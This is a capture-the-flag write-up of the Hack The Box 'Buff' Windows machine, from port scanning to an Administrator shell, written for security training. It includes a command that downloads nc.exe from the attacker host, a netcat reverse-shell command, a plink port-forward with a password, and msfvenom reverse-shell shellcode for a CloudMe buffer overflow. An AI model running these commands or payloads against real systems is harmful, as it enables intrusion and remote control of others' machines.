Hack The Box: Buff Write-up

buff-banner.png

Overview

This writeup documents the methods I used to compromise the Buff machine on the Hack The Box internal network. Buff was a Easy rated Windows box created by egotisticalSW, worth 20 points while it was active. This writeup will cover enumerating vhosts, leveraging unauthenticated file upload into a shell on the target machine, and editing a exploiting a buffer overflow vulnerability to gain a high-privileged shell.

KILL CHAIN

AUTOMATED ENUMERATION

The first scan I ran against Buff was a full TCP port scan with nmap.
I used the -vv flag to display more verbose output, --reason to display the reason a port is in a particular state, -Pn to skip the host discovery checks, -A to enable OS and version detection, --osscan-guess to enable aggressive OS guessing, --version-all to try every single version probe, and -p- to scan the entire range of potentially exposed TCP ports.

        
nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN _full_tcp_nmap.txt 10.10.10.198
# Nmap 7.80 scan initiated Sun Aug  2 20:30:11 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN _full_tcp_nmap.txt 10.10.10.198
Nmap scan report for 10.10.10.198
Host is up, received user-set (0.078s latency).
Scanned at 2020-08-02 20:30:12 EDT for 514s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT     STATE SERVICE    REASON          VERSION
7680/tcp open  pando-pub? syn-ack ttl 127
8080/tcp open  http       syn-ack ttl 127 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=8/2%OT=7680%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=5F275C96%P=x86_64-pc-linux-gnu)
SEQ(SP=103%GCD=1%ISR=109%II=I%TS=U)
OPS(O1=M54DNW8NNS%O2=M54DNW8NNS%O3=M54DNW8%O4=M54DNW8NNS%O5=M54DNW8NNS%O6=M54DNNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M54DNW8NNS%CC=N%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class

TRACEROUTE (using port 8080/tcp)
HOP RTT      ADDRESS
1   19.21 ms 10.10.14.1
2   49.51 ms 10.10.10.198

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug  2 20:38:46 2020 -- 1 IP address (1 host up) scanned in 515.44 seconds
        
    


The Nmap port scan only discovered two exposed ports. There was an unknown service that might have been pando-publistening on tcp/7680 and an http service that was reporting as Apache httpd server listening on tcp/8080. Based on the HTTP title, I was leaning towards believing this site wouldn't be a template or work in progress. Since I wasn't sure what service was listening on tcp/7680, I decided to run Nmap http service script scans against tcp/8080 before spending a ton of time researching what could very well turn out to be a rabbit hole. I added the -sV flag to have Nmap probe the port to determine the service/version info, -p to specify port 8080, and --script="" to specify the HTTP Nmap scripts.

        
nmap -vv --reason -Pn -sV -p 80 "--script=banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" -oN tcp_80_http_nmap.txt 10.10.10.198
# Nmap 7.80 scan initiated Sun Aug  2 20:30:40 2020 as: nmap -vv --reason -Pn -sV -p 8080 "--script=banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" -oN /root/cybersecurity/htb/boxes/10.10.10.198-buff/scans/tcp_8080_http_nmap.txt -oX /root/cybersecurity/htb/boxes/10.10.10.198-buff/scans/xml/tcp_8080_http_nmap.xml 10.10.10.198
Nmap scan report for 10.10.10.198
Host is up, received user-set (0.017s latency).
Scanned at 2020-08-02 20:30:41 EDT for 217s

PORT     STATE SERVICE REASON          VERSION
8080/tcp open  http    syn-ack ttl 127 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-auth-finder:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.198
|   url                                      method
|   http://10.10.10.198:8080/                FORM
|   http://10.10.10.198:8080/contact.php     FORM
|   http://10.10.10.198:8080/about.php       FORM
|_  http://10.10.10.198:8080/facilities.php  FORM
|_http-chrono: Request times for /; avg: 2274.97ms; min: 1842.27ms; max: 2935.67ms
| http-comments-displayer:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.198
|     ...
|     ...
|     Path: http://10.10.10.198:8080/boot/js/sha512.js
|     Line number: 10
|     Comment:
|         /*
|          * Configurable variables. You may need to tweak these to be compatible with
|          * the server-side, but the defaults work in most cases.
|_         */
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.198
|   Found the following possible CSRF vulnerabilities:
|
|     Path: http://10.10.10.198:8080/
|     Form id:
|     Form action: include/process_login.php
|
|     Path: http://10.10.10.198:8080/contact.php
|     Form id:
|     Form action: include/process_login.php
|
|     Path: http://10.10.10.198:8080/about.php
|     Form id:
|     Form action: include/process_login.php
|
|     Path: http://10.10.10.198:8080/facilities.php
|     Form id:
|_    Form action: include/process_login.php
|_http-date: Mon, 03 Aug 2020 00:36:17 GMT; +5m17s from local time.
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-drupal-enum: Nothing found amongst the top 100 resources,use --script-args number=<number|all> for deeper analysis)
| http-enum:
|_  /icons/: Potentially interesting folder w/ directory listing
| http-errors:
| Spidering limited to: maxpagecount=40; withinhost=10.10.10.198
|   Found the following error pages:
|
|   Error Code: 404
|   	http://10.10.10.198:8080/assets/ico/favicon.ico
|
|   Error Code: 404
|_  	http://10.10.10.198:8080/assets/js/ie8-responsive-file-warning.js
|_http-exif-spider: ERROR: Script execution failed (use -d to debug)
|_http-feed: Couldn't find any feeds.
|_http-fetch: Please enter the complete path of the directory to save data in.
| http-grep:
|   (1) http://10.10.10.198:8080/assets/ico/favicon.ico:
|     (1) ip:
|_      + 10.10.10.198
| http-headers:
|   Date: Mon, 03 Aug 2020 00:36:11 GMT
|   Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|   X-Powered-By: PHP/7.4.6
|   Set-Cookie: sec_session_id=mv521e9f8tgrmf2r9d967g0c34; path=/; HttpOnly
|   Expires: Thu, 19 Nov 1981 08:52:00 GMT
|   Cache-Control: no-store, no-cache, must-revalidate
|   Pragma: no-cache
|   Set-Cookie: sec_session_id=l9oofd6ps8g2djgrcn5rkrm22r; path=/; HttpOnly
|   Connection: close
|   Content-Type: text/html; charset=UTF-8
|
|_  (Request type: HEAD)
|_http-jsonp-detection: Couldn't find any JSONP endpoints.
|_http-litespeed-sourcecode-download: Request with null byte did not work. This web server might not be vulnerable
|_http-malware-host: Host appears to be clean
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-mobileversion-checker: No mobile version detected.
| http-php-version: Logo query returned unknown hash a4d702751dd2c2ba14a477554fe0a1aa
| Credits query returned unknown hash a4d702751dd2c2ba14a477554fe0a1aa
|_Version from header x-powered-by: PHP/7.4.6
| http-referer-checker:
| Spidering limited to: maxpagecount=30
|   https://oss.maxcdn.com:443/libs/html5shiv/3.7.0/html5shiv.js
|   https://oss.maxcdn.com:443/libs/respond.js/1.4.2/respond.min.js
|   https://ajax.googleapis.com:443/ajax/libs/jquery/1.11.0/jquery.min.js
|   http://code.jquery.com:80/jquery-1.9.1.js
|_  http://code.jquery.com:80/ui/1.10.4/jquery-ui.js
| http-security-headers:
|   Cache_Control:
|     Header: Cache-Control: no-store, no-cache, must-revalidate
|   Pragma:
|     Header: Pragma: no-cache
|   Expires:
|_    Header: Expires: Thu, 19 Nov 1981 08:52:00 GMT
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-sitemap-generator:
|   Directory structure:
|     /
|       Other: 1; php: 4
|     /boot/css/
|       css: 3
|     /boot/js/
|       js: 4
|     /boot/js/plugins/
|       js: 1
|     /img/
|       jpg: 6
|   Longest directory structure:
|     Depth: 3
|     Dir: /boot/js/plugins/
|   Total files found (by extension):
|_    Other: 1; css: 3; jpg: 6; js: 5; php: 4
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: mrb3n's Bro Hut
| http-trace: TRACE is enabled
| Headers:
| Date: Mon, 03 Aug 2020 00:36:09 GMT
| Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| Connection: close
| Transfer-Encoding: chunked
|_Content-Type: message/http
| http-useragent-tester:
|   Status for browser useragent: 200
|   Allowed User Agents:
|     libwww
|     lwp-trivial
|     libcurl-agent/1.0
|     PHP/
|     Python-urllib/2.5
|     GT::WWW
|     Snoopy
|     MFC_Tear_Sample
|     HTTP::Lite
|     PHPCrawl
|     URI::Fetch
|     Zend_Http_Client
|     http client
|     PECL::HTTP
|     Wget/1.13.4 (linux-gnu)
|_    WWW-Mechanize/1.34
| http-vhosts:
|_127 names had status 200
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-wordpress-enum: Nothing found amongst the top 100 resources,use --script-args search-limit=<number|all> for deeper analysis)
|_http-wordpress-users: [Error] Wordpress installation was not found. We couldn't find wp-login.php

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug  2 20:34:18 2020 -- 1 IP address (1 host up) scanned in 217.64 seconds
        
    


Based on the leaked banner information, this httpd server should support PHP execution. The http-auth-finder script reported FORM method authentication was detected on 3 different pages. The file extensions listed also confirmed that this server utilized PHP.

MANUAL ENUMERATION

I began my manual enumeration by starting a gobuster scan of the web root directory. I invoked the command with the -o flag to set the output file, -u to specify the URL to fuzz, -w to specify the wordlist to use, -e to print the full URL for each successful result, -k to skip SSL certificate verification, -l to include the length of the body in the output, -s to specify positive status codes, -x to specify the file extensions to search for, and -z suppress the progress display.

        
gobuster dir -u http://10.10.10.198:8080/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -k -l -s "200,204,302,307,401,403,500" -x "txt,html,php,asp,aspx,jsp" -z -o tcp_8080_http_gobuster.txt
/LICENSE (Status: 200) [Size: 18025]
/about.php (Status: 200) [Size: 5337]
/boot (Status: 301) [Size: 342]
/contact.php (Status: 200) [Size: 4169]
/edit.php (Status: 200) [Size: 4282]
/ex (Status: 301) [Size: 340]
/feedback.php (Status: 200) [Size: 4252]
/home.php (Status: 200) [Size: 143]
/img (Status: 301) [Size: 341]
/include (Status: 301) [Size: 345]
/index.php (Status: 200) [Size: 4969]
/license (Status: 200) [Size: 18025]
/packages.php (Status: 200) [Size: 7791]
/profile (Status: 301) [Size: 345]
/register.php (Status: 200) [Size: 137]
/up.php (Status: 200) [Size: 209]
/upload (Status: 301) [Size: 344]
/upload.php (Status: 200) [Size: 107]
        
    


I then began to visit the pages in my browser. The first page I hit was /index.php, which appeared to be a basic home page for a fitness center or gym of some sort. There was also a login form right below the banner menu.

buff-img1.png


The next page I looked at was /packages.php since it was the next page linked in the banner menu. This page confirmed that this was a site for a fitness training center, and had membership rates. The same login form was under the banner menu, which was why the Nmap script scan detected authentication forms on so many individual pages, the code was in the header and repeated on every page.

buff-img2.png


Next I opened the page at /facilities.php. This page contained a large amount of text that described different facets of the fitness center's facilities. I made a note of this page since the large amount of targeted text made it a good candidate for crawling with cewl if I would have to create any custom word lists.

buff-img3.png


Then I opened the page at /about.php. This page was also a very plain, just containing some text related to the organizations mission and objectives.

buff-img4.png


Next I opened the page at /contact.php. The only thing in the HTML body of this page was a line indicating the site was made using Gym Management Software 1.0.

buff-img5.png

EXPLOITING GMS V1.0

Since there is always a much higher chance of custom software having outstanding exploitable vulnerabilities, I began my exploit research by focusing on Gym Management System 1.0. The first place I searched was Exploit-DB via the searchsploit terminal command.

        
searchsploit gym management system
--------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                   |  Path
--------------------------------------------------------------------------------- ---------------------------------
Gym Management System 1.0 - 'id' SQL Injection                                   | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass                                | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting                          | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution                | php/webapps/48506.py
--------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
        
    


I looked at Exploit-DB ID 48506 first because it didn't require any authentication and I didn't have any credentials. Before mirroring the exploit script to my working directory I quickly reviewed the script source code with searchsploit -x 48506. The exploit seems to connect to the application running on the target host and abuse an unauthenticated file upload vulnerability to upload and connect to an integrated PHP web shell. I had noticed there was an /upload folder during my Gobuster enumeration earlier, but I hadn't been able to access it at the time, but I didn't think that this would prevent the exploit from completing successfully based on my quick review. I mirrored the exploit to my working directory with the -m flag, ran it without arguments to check the commands required syntax, then fired the exploit against the target host.

        
searchsploit -m 48506
Exploit: Gym Management System 1.0 - Unauthenticated Remote Code Execution
  URL: https://www.exploit-db.com/exploits/48506
  Path: /usr/share/exploitdb/exploits/php/webapps/48506.py
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied to: /root/48506.py

python 48506.py
            /\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
            \/

(+) Usage:       python 48506.py <WEBAPP_URL>
(+) Example:     python 48506.py 'https://10.0.0.3:443/gym/'

python 48506.py http://10.10.10.198:8080/
            /\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
            \/

[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload>
        
    


The exploit code had executed successfully and dropped me in to a shell on the target host, however it appeared that each time a command was issued through the script's shell the command payload was embedded in a PNG and uploaded to the target host for execution.

        
whoami
PNG

buff\shaun
        
    


In order to upgrade to a more reliable shell, I uploaded a nc binary compiled with the FreeBSD -e flag execution support to the target host. I hosted the nc binary with Python SimpleHTTPServer on my Kali host, and used a PowerShell Invoke-WebRequest command to initiate the file download from the target host. After verifying the file downloaded successfully, I used it to send a reverse shell back to my multi/handler listener where I confirmed shell context as user shaun.

        
powershell Invoke-WebRequest -Uri http://10.10.14.31/nc.exe -OutFile C:\Users\shaun\Downloads\nc.exe
PNG

dir c:\users\shaun\downloads
PNG

Volume in drive C has no label.
Volume Serial Number is A22D-49F7

Directory of c:\users\shaun\downloads

03/08/2020  16:15    &lt;DIR&gt;          .
03/08/2020  16:15    &lt;DIR&gt;          ..
16/06/2020  16:26        17,830,824 CloudMe_1112.exe
03/08/2020  16:15            59,392 nc.exe
               2 File(s)     17,890,216 bytes
               2 Dir(s)   7,805,292,544 bytes free

c:\users\shaun\downloads\nc.exe 10.10.14.31 443 -e cmd.exe
        
    
        
[*] Command shell session 1 opened (10.10.14.31:443 -> 10.10.10.198:49734) at 2020-08-03 11:11:38 -0400
sessions 1
[*] Starting interaction with 1...

Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>whoami
whoami
buff\shaun

C:\xampp\htdocs\gym\upload>
        
    

ESCALATION OF PRIVILEGE

After gathering the user.txt flag, I began enumerating for privilege escalation to NT AUTHORITY/SYSTEM. The first thing I took a look at was the binary file that I had seen at \users\shaun\Downloads\ when uploading the nc binary. I searched for cloudme with searchsploit to check if there were any exploits for this software since I had never heard of it before.

        
searchsploit cloudme 1.11.2
--------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                   |  Path
--------------------------------------------------------------------------------- ---------------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC)                                           | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR)                                  | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR)                                  | windows/local/48840.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt                                  | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass)                         | windows_x86-64/remote/46250.py
--------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
        
    


I took a look at Exploit-DB ID 48389 first. The Python script targeted the CloudMe service listening on tcp/8888, so I checked to see if that port was listening on the targets localhost.

        
netstat -ano
netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       940
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       5692
  TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING       8716
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       6912
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       524
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1072
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1596
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2228
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       668
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       684
  TCP    10.10.10.198:139       0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:3306         0.0.0.0:0              LISTENING       7160
  TCP    [::]:135               [::]:0                 LISTENING       940
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:7680              [::]:0                 LISTENING       8716
  TCP    [::]:8080              [::]:0                 LISTENING       6912
  TCP    [::]:49664             [::]:0                 LISTENING       524
  TCP    [::]:49665             [::]:0                 LISTENING       1072
  TCP    [::]:49666             [::]:0                 LISTENING       1596
  TCP    [::]:49667             [::]:0                 LISTENING       2228
  TCP    [::]:49668             [::]:0                 LISTENING       668
  TCP    [::]:49669             [::]:0                 LISTENING       684
        
    


I didn't see tcp/8888 listening, but I didn't see any other port listening on localhost except for an SQL server either. I decided to execute the CloudMe binary executable, then recheck the listening ports.

        
CloudMe_1112.exe
CloudMe_1112.exe

netstat -ano
netstat -ano

Active Connections

Proto  Local Address          Foreign Address        State           PID
TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       940
TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       5692
TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING       8716
TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       6912
TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       524
TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1072
TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1596
TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2228
TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       668
TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       684
TCP    10.10.10.198:139       0.0.0.0:0              LISTENING       4
TCP    127.0.0.1:3306         0.0.0.0:0              LISTENING       7160
TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING       6468
TCP    [::]:135               [::]:0                 LISTENING       940
TCP    [::]:445               [::]:0                 LISTENING       4
TCP    [::]:7680              [::]:0                 LISTENING       8716
TCP    [::]:8080              [::]:0                 LISTENING       6912
TCP    [::]:49664             [::]:0                 LISTENING       524
TCP    [::]:49665             [::]:0                 LISTENING       1072
TCP    [::]:49666             [::]:0                 LISTENING       1596
TCP    [::]:49667             [::]:0                 LISTENING       2228
TCP    [::]:49668             [::]:0                 LISTENING       668
TCP    [::]:49669             [::]:0                 LISTENING       684
        
    


In order to interact with the localhost port on the target machine from my Kali host, I used plink on the target host to to connect to my Kali host over SSH and establish a local port forward. I used the -ssh flag to specify an SSH connection, -l to specify the login name, -p to specify the login password, and -R to specify the port forward settings. This particular flag value specifies the forwarding destination to be my Kali host at 10.10.14.31 tcp/1234 and the local port to be forwarded from the target host as 127.0.0.1 tcp/8888.

        
plink.exe -ssh -l root -pw hunter2 -R 10.10.14.31:1234:127.0.0.1:8888 10.10.14.31
plink.exe -ssh -l root -pw hunter2 -R 10.10.14.31:1234:127.0.0.1:8888 10.10.14.31
The server's host key is not cached in the registry. You
have no guarantee that the server is the computer you
think it is.
The server's rsa2 key fingerprint is:
ssh-rsa 3072 be:3f:88:d3:e7:72:93:55:c6:71:48:b1:fd:f6:6c:ed
If you trust this host, enter "y" to add the key to
PuTTY's cache and carry on connecting.
If you want to carry on connecting just once, without
adding the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
connection.
Store key in cache? (y/n) y
Linux kali 5.6.0-kali2-amd64 #1 SMP Debian 5.6.14-1kali1 (2020-05-25) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Aug  3 11:57:11 2020 from 10.10.10.198
Mon Aug 03/13:48/root:~>
        
    


Examining the notes in the Python exploit script, I saw that there were three bad characters associated with the buffer overflow, \x00, \x0A, and \x0D. I made a note of these characters, then changed the target port of 8888 in the script to the local port forward destination on my Kali host, tcp/1234.
I generated the reverse shell shellcode payload with msfvenom. I used the -p flag to specify the Windows Reverse TCP shell payload, lhost= and lport=to specify the IP and TCP port of the multi/handler listener on my Kali host, exitfunc= to specify the process exit type, -f to specify the Python output format, -e to specify the shikata_ga_nai encoder, -b to specify the bad characters to avoid during payload creation, and -v to specify the variable name to be used in the Python output.

        
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.31 lport=4741 exitfunc=thread -f python -e x86/shikata_ga_nai -b '\x00\x0A\x0D' -v payload
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1869 bytes
payload =  b""
payload += b"\xda\xc9\xbe\x32\xb6\x8a\x34\xd9\x74\x24\xf4\x5d"
payload += b"\x29\xc9\xb1\x52\x31\x75\x17\x83\xc5\x04\x03\x47"
payload += b"\xa5\x68\xc1\x5b\x21\xee\x2a\xa3\xb2\x8f\xa3\x46"
payload += b"\x83\x8f\xd0\x03\xb4\x3f\x92\x41\x39\xcb\xf6\x71"
payload += b"\xca\xb9\xde\x76\x7b\x77\x39\xb9\x7c\x24\x79\xd8"
payload += b"\xfe\x37\xae\x3a\x3e\xf8\xa3\x3b\x07\xe5\x4e\x69"
payload += b"\xd0\x61\xfc\x9d\x55\x3f\x3d\x16\x25\xd1\x45\xcb"
payload += b"\xfe\xd0\x64\x5a\x74\x8b\xa6\x5d\x59\xa7\xee\x45"
payload += b"\xbe\x82\xb9\xfe\x74\x78\x38\xd6\x44\x81\x97\x17"
payload += b"\x69\x70\xe9\x50\x4e\x6b\x9c\xa8\xac\x16\xa7\x6f"
payload += b"\xce\xcc\x22\x6b\x68\x86\x95\x57\x88\x4b\x43\x1c"
payload += b"\x86\x20\x07\x7a\x8b\xb7\xc4\xf1\xb7\x3c\xeb\xd5"
payload += b"\x31\x06\xc8\xf1\x1a\xdc\x71\xa0\xc6\xb3\x8e\xb2"
payload += b"\xa8\x6c\x2b\xb9\x45\x78\x46\xe0\x01\x4d\x6b\x1a"
payload += b"\xd2\xd9\xfc\x69\xe0\x46\x57\xe5\x48\x0e\x71\xf2"
payload += b"\xaf\x25\xc5\x6c\x4e\xc6\x36\xa5\x95\x92\x66\xdd"
payload += b"\x3c\x9b\xec\x1d\xc0\x4e\xa2\x4d\x6e\x21\x03\x3d"
payload += b"\xce\x91\xeb\x57\xc1\xce\x0c\x58\x0b\x67\xa6\xa3"
payload += b"\xdc\x82\x3d\xa5\x03\xfb\x43\xb9\x29\x7e\xca\x5f"
payload += b"\x27\x90\x9b\xc8\xd0\x09\x86\x82\x41\xd5\x1c\xef"
payload += b"\x42\x5d\x93\x10\x0c\x96\xde\x02\xf9\x56\x95\x78"
payload += b"\xac\x69\x03\x14\x32\xfb\xc8\xe4\x3d\xe0\x46\xb3"
payload += b"\x6a\xd6\x9e\x51\x87\x41\x09\x47\x5a\x17\x72\xc3"
payload += b"\x81\xe4\x7d\xca\x44\x50\x5a\xdc\x90\x59\xe6\x88"
payload += b"\x4c\x0c\xb0\x66\x2b\xe6\x72\xd0\xe5\x55\xdd\xb4"
payload += b"\x70\x96\xde\xc2\x7c\xf3\xa8\x2a\xcc\xaa\xec\x55"
payload += b"\xe1\x3a\xf9\x2e\x1f\xdb\x06\xe5\x9b\xfb\xe4\x2f"
payload += b"\xd6\x93\xb0\xba\x5b\xfe\x42\x11\x9f\x07\xc1\x93"
payload += b"\x60\xfc\xd9\xd6\x65\xb8\x5d\x0b\x14\xd1\x0b\x2b"
payload += b"\x8b\xd2\x19"
        
    


I replaced the Python script payload with my generated shellcode, then I executed the Python exploit script.
I caught an incoming shell in multi/handler and verified that the context was that of SYSTEM/Administrator.

        
[*] Command shell session 5 opened (10.10.14.31:4741 -> 10.10.10.198:49783) at 2020-08-03 14:04:18 -0400
sessions 5
[*] Starting interaction with 5...



C:\Windows\system32>whoami
whoami
buff\administrator

C:\Windows\system32>
        
    

I had confirmed that I had a shell in the context of Administrator and I was able to print the root.txt flag, proving that I had full control over the target machine.

FINAL THOUGHTS

This was a quick and fun box. It felt like one of the very easy OSCP lab machines, in that all the information required for full compromise of the machine can be found in the Exploit-DB, the only challenge is performing a thorough enough enumeration of the target host to know what services and applications you need to be researching.